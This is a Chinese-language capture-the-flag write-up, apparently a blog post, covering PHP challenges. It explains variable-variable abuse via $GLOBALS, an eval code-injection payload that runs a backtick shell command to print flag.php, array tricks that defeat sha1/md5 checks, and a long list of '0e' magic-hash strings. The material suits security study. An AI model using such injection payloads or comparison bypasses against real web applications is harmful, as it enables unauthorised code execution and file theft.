美文网首页
关于变量的问题、md5相等的问题

关于变量的问题、md5相等的问题

作者: __周__ | 来源:发表于2018-06-28 09:36 被阅读0次
    <?php
    //flag In the variable !
    error_reporting(0);// 关闭php错误显示
    include "flag1.php";// 引入flag1.php文件代码
    highlight_file(__file__);
    if(isset($_GET['args'])){// 通过get方式传递 args变量才能执行if里面的代码
        $args = $_GET['args'];
        if(!preg_match("/^\w+$/",$args)){// 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
            die("args error!");
        }
        eval("var_dump($$args);");// 这边告诉我们这题是代码审计的题目
    }
    ?>
    

    首先简单看了一下 没有发现什么有用的信息,之后注意到最后一行的eval("var_dump($$args);");注意了这地方有两个$$ ,$$args 可以理解为$($args)

    • 举个栗子
    <?php
    $a='b';
    $b="hello world!";
    eval("var_dump($$a);");
    ?>
    输出结果为: hello world!
    

    PHP一个比较有意思的变量!$GLOBALS:一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

    于是我们在url上构造/?hello=GLOBALS


    <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
    ?>
    

    我们可以看到第一种方法不好用了,所以另辟他径!我们注意到flag.php,会不会答案就在这个里面呢?而且”var_dump($a);”
    构造payload如下

     ?hello=);echo%20`cat%20./flag.php`;//
    

    然后这里面就必须讲一下一些小技巧!第一单引号,双引号,反引号在bash中的作用!
    (PS:反引号位 (`) 位于键盘的Tab键的上方、1键的左方。注意与单引号(‘)位于Enter键的左方的区别。)

    反括号`在Linux中起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置。如下:
    [root@localhost sh]# echo The date is `date`
    The date is 2011年 03月 14日 星期一 21:15:43 CST 
    
    单引号、双引号用于用户把带有空格的字符串赋值给变量事的分界符。如果没有单引号或双引号,shell会把空格后的字符串解释为命令。
    单引号和双引号的区别。单引号告诉shell忽略所有特殊字符,而双引号忽略大多数,但不包括$、\、`。
    栗子:
    [root@localhost tmp]# echo ‘the date is `date`’
    the date is `date`
    [root@localhost tmp]# echo “the date is `date`”
    the date is Fri Oct 9 00:11:56 CST 2015 
    

    <?php
    if (isset($_GET['name']) and isset($_GET['password'])) {
        if ($_GET['name'] == $_GET['password'])
            echo '<p>Your password can not be your name!</p>';
        else if (sha1($_GET['name']) === sha1($_GET['password']))
          die('Flag: '.$flag);
        else
            echo '<p>Invalid password.</p>';
    }
    else{
        echo '<p>Login first!</p>';
    ?>
    

    获得flag的核心条件是使$_GET['name'] != $_GET['password']且sha1($_GET['name']) === sha1($_GET['password'])

    • 把name,password字段构造为数组。 即可使第一个条件成立。 如:?name[]=1&password[]=2
    • sha1函数对参数为数组的情况会反回false 即可使第二个条件成立。

    ===是恒等计算符 同时检查表达式的值与类型

    ==是比较运算符号 不会检查条件式的表达式的类型


    <?php
    include_once “flag.php”;
    ini_set(“display_errors”, 0);
    $str = strstr($_SERVER[‘REQUEST_URI’], ‘?’);
    $str = substr($str,1);
    $str = str_replace(‘key’,”,$str);
    parse_str($str);
    echo md5($key1);
    echo md5($key2);
    if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag.”取得flag”;
    }
    ?>
    

    整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1,key2的值进行md5加密,并进行比较,如果md5加密的值一样而未加密的值不同,就输出flag.

    有两种方法:

    • md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的
    123.png
    • 利用==比较漏洞,如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

    下列的字符串的MD5值都是0e开头的:

    • QNKCDZO
    • 240610708
    • s878926199a
    • s155964671a
    • s214587387a
    • s214587387a
    s878926199a
    0e545993274517709034328855841020
    s155964671a
    0e342768416822451524974117254469
    s214587387a
    0e848240448830537924465865611904
    s214587387a
    0e848240448830537924465865611904
    s878926199a
    0e545993274517709034328855841020
    s1091221200a
    0e940624217856561557816327384675
    s1885207154a
    0e509367213418206700842008763514
    s1502113478a
    0e861580163291561247404381396064
    s1885207154a
    0e509367213418206700842008763514
    s1836677006a
    0e481036490867661113260034900752
    s155964671a
    0e342768416822451524974117254469
    s1184209335a
    0e072485820392773389523109082030
    s1665632922a
    0e731198061491163073197128363787
    s1502113478a
    0e861580163291561247404381396064
    s1836677006a
    0e481036490867661113260034900752
    s1091221200a
    0e940624217856561557816327384675
    s155964671a
    0e342768416822451524974117254469
    s1502113478a
    0e861580163291561247404381396064
    s155964671a
    0e342768416822451524974117254469
    s1665632922a
    0e731198061491163073197128363787
    s155964671a
    0e342768416822451524974117254469
    s1091221200a
    0e940624217856561557816327384675
    s1836677006a
    0e481036490867661113260034900752
    s1885207154a
    0e509367213418206700842008763514
    s532378020a
    0e220463095855511507588041205815
    s878926199a
    0e545993274517709034328855841020
    s1091221200a
    0e940624217856561557816327384675
    s214587387a
    0e848240448830537924465865611904
    s1502113478a
    0e861580163291561247404381396064
    s1091221200a
    0e940624217856561557816327384675
    s1665632922a
    0e731198061491163073197128363787
    s1885207154a
    0e509367213418206700842008763514
    s1836677006a
    0e481036490867661113260034900752
    s1665632922a
    0e731198061491163073197128363787
    s878926199a
    0e545993274517709034328855841020
    
    图片.png

    相关文章

      网友评论

          本文标题:关于变量的问题、md5相等的问题

          本文链接:https://www.haomeiwen.com/subject/aodbyftx.html